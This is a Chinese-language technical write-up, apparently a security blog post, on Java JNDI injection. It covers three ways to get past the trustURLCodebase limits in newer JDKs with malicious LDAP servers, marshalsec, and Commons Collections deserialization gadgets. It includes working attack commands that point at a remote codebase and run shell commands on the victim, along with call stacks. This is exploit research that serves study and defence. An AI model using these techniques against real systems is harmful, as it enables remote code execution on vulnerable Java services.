JNDI注入,即某代碼中存在JDNI的string可控的情況,可構造惡意RMI或者LDAP服務端,導致遠程任意類被加載,造成任意代碼執行。
JNDI注入中RMI和LDAP與JDK版本的關係,參考這張圖:
來源:
https://xz.aliyun.com/t/6633
RMI + JNDI Reference利用方式:
JDK 6u132, JDK 7u122, JDK 8u113
com.sun.jndi.rmi.object.trustURLCodebase
、
com.sun.jndi.cosnaming.object.trustURLCodebase
的默認值變爲false
即默認不允許從遠程的Codebase加載Reference工廠類
LDAP + JDNI Reference利用方式:
JDK 6u211,7u201, 8u191, 11.0.1之後
com.sun.jndi.ldap.object.trustURLCodebase
屬性的默認值被調整爲false
(CVE-2018-3149)
目前的方式是搭建一個自定義的惡意LDAP服務端,並設置遠程的<codebase_url#classname>,最後指定LDAP服務監聽的端口號1099:
java marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer https://raw.githubusercontent.com/shadowsock5/notes/master/#Exploit 1099
然後執行客戶端代碼,即完成漏洞利用。
從圖中可以看出JNDI客戶端中JDK版本對漏洞利用的影響。
這種利用方式的調用棧爲:
newInstance:387, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
於是這裏作者提出了一種繞過這種防禦機制的方法。
繞過JDK高版本限制的JNDI注入(LDAP)方法一
使用unboundid-ldapsdk-3.1.1.jar搭建惡意LDAP服務:
Windows:
javac -encoding GBK -g -cp "commons-collections-3.1.jar;unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java
java -cp ".;commons-collections-3.1.jar;unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer 192.168.85.1 10388 "mkdir test_by_shadowsock5"
Linux:
javac -encoding GBK -g -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java
然後執行JDNI客戶端:
javac -encoding GBK -g VulnerableClient.java
java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10388/dc=cqq,dc=com VulnerableClient o=anything
JNDI客戶端使用了1.8.0_201,仍然可以利用成功!說明此方法有效。
這裏的原理是
EvilLDAPServer.java自己實現一個惡意LDAP服務,直接操作"javaSerializedData"屬性。
這個技術方案相當於有一方在ObjectInputStream.readObject(),另一方在ObjectOutputStream.writeObject(),後者是攻擊者可控的,前者沒有缺省過濾器。此時只受限於受害者一側CLASSPATH中是否存在Gadget鏈的依賴庫,對JDK沒有版本要求。
LDAP特殊服務端writeObject:
LDAP客戶端readObject:
調用棧:
readObject0:1573, ObjectInputStream (java.io) [3]
readObject:431, ObjectInputStream (java.io)
readObject:144, LazyMap (org.apache.commons.collections.map)
invoke:-1, GeneratedMethodAccessor118 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io) [2]
readObject:431, ObjectInputStream (java.io)
readObject:1211, Hashtable (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io) [1]
readObject:431, ObjectInputStream (java.io)
deserializeObject:531, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
繞過JDK高版本限制的JNDI注入(LDAP)方法二
其實JDK自帶的LDAP服務就可以。
先是開啓一個LDAP服務:
java -jar C:\Users\Administrator\Downloads\ldap-server.jar -a -b 192.168.85.1 -p 10389 jndi.ldif
然後:
java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com EvilLDAPServer5 cn=any "/bin/touch /tmp/cqq_is_here"
最後開啓客戶端:
java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com VulnerableClient cn=any
即可完成攻擊。
繞過JDK高版本限制的JNDI注入(LDAP)方法三
執行步驟與之前一致:
javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilLDAPServer6.java
java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com EvilLDAPServer6 cn=any "/bin/touch /tmp/cqq_is_here_by_EvilLDAPServer6"
然後啓動客戶端:
java -cp "commons-collections-3.1.jar:." -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory -Djava.naming.provider.url=ldap://192.168.85.1:10389/o=anything,dc=cqq,dc=com VulnerableClient cn=any
總結傳統LDAP與繞過高版本JDK的LDAP的JNDI注入(javaSerializedData)的區別
兩種利用方式前期的調用棧是一致是:
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
jdk1.8.0\jre\lib\rt.jar!\com\sun\jndi\ldap\LdapCtx#c_lookup(Name var1, Continuation var2)中調用:
Obj.decodeObject((Attributes)var4);
跟進Obj.decodeObject()
方法:
傳統的LDAP的JNDI注入方式下
LDAP服務端下並沒有設置
javax.naming.directory.BasicAttributes對象的javaSerializedData
屬性,
於是進入最後一個else邏輯:
返回decodeReference()的結果
賦值給var3
然後調用:
javax.naming.spi.DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
然後調用:
javax.naming.spi.NamingManager.getObjectFactoryFromReference(Reference ref, String factoryName)
跟進,
clas = helper.loadClass(factoryName, codebase); // 載入從codebase中的指定的類
clas.newInstance(); // 調用該類的構造器,執行惡意代碼
繞過的LDAP的JNDI注入方式下
由於特製的LDAP服務端通過ObjectOutputStream#writeObject()
寫入了javaSerializedData
屬性,
於是在關鍵步驟下進入了第一個if邏輯中(如果有這個javaSerializedData
屬性,則會對其進行反序列化),
執行了
deserializeObject()
然後各種ObjectInputStream#readObject()
進行反序列化操作,這裏利用CommonsCollections7
鏈完成了RCE。
高版本JDK對LDAP的限制方式
com\sun\naming\internal\VersionHelper12#loadClass(String className, String codebase)
中
會對系統屬性com.sun.jndi.ldap.object.trustURLCodebase
的值進行判斷,這裏將其值設置爲false,所以在loadClass的時候會返回null,導致無法加載遠程codebase。
而進入loadClass所在的位置是:
而我們的繞過這個loadClass檢查的利用方式是在這裏
deserializeObject()
F7就完成了的。
當然,與傳統LDAP的JNDI注入利用方式不同(加載遠程codebase的class,調用靜態代碼塊或者構造器),這裏繞過方式的利用原理由於其實就是反序列化,所以利用條件是:受影響的服務端(JNDI客戶端)存在gadget鏈。
附
環境:
https://github.com/shadowsock5/JDNI-Bypass-JDK-By-LDAP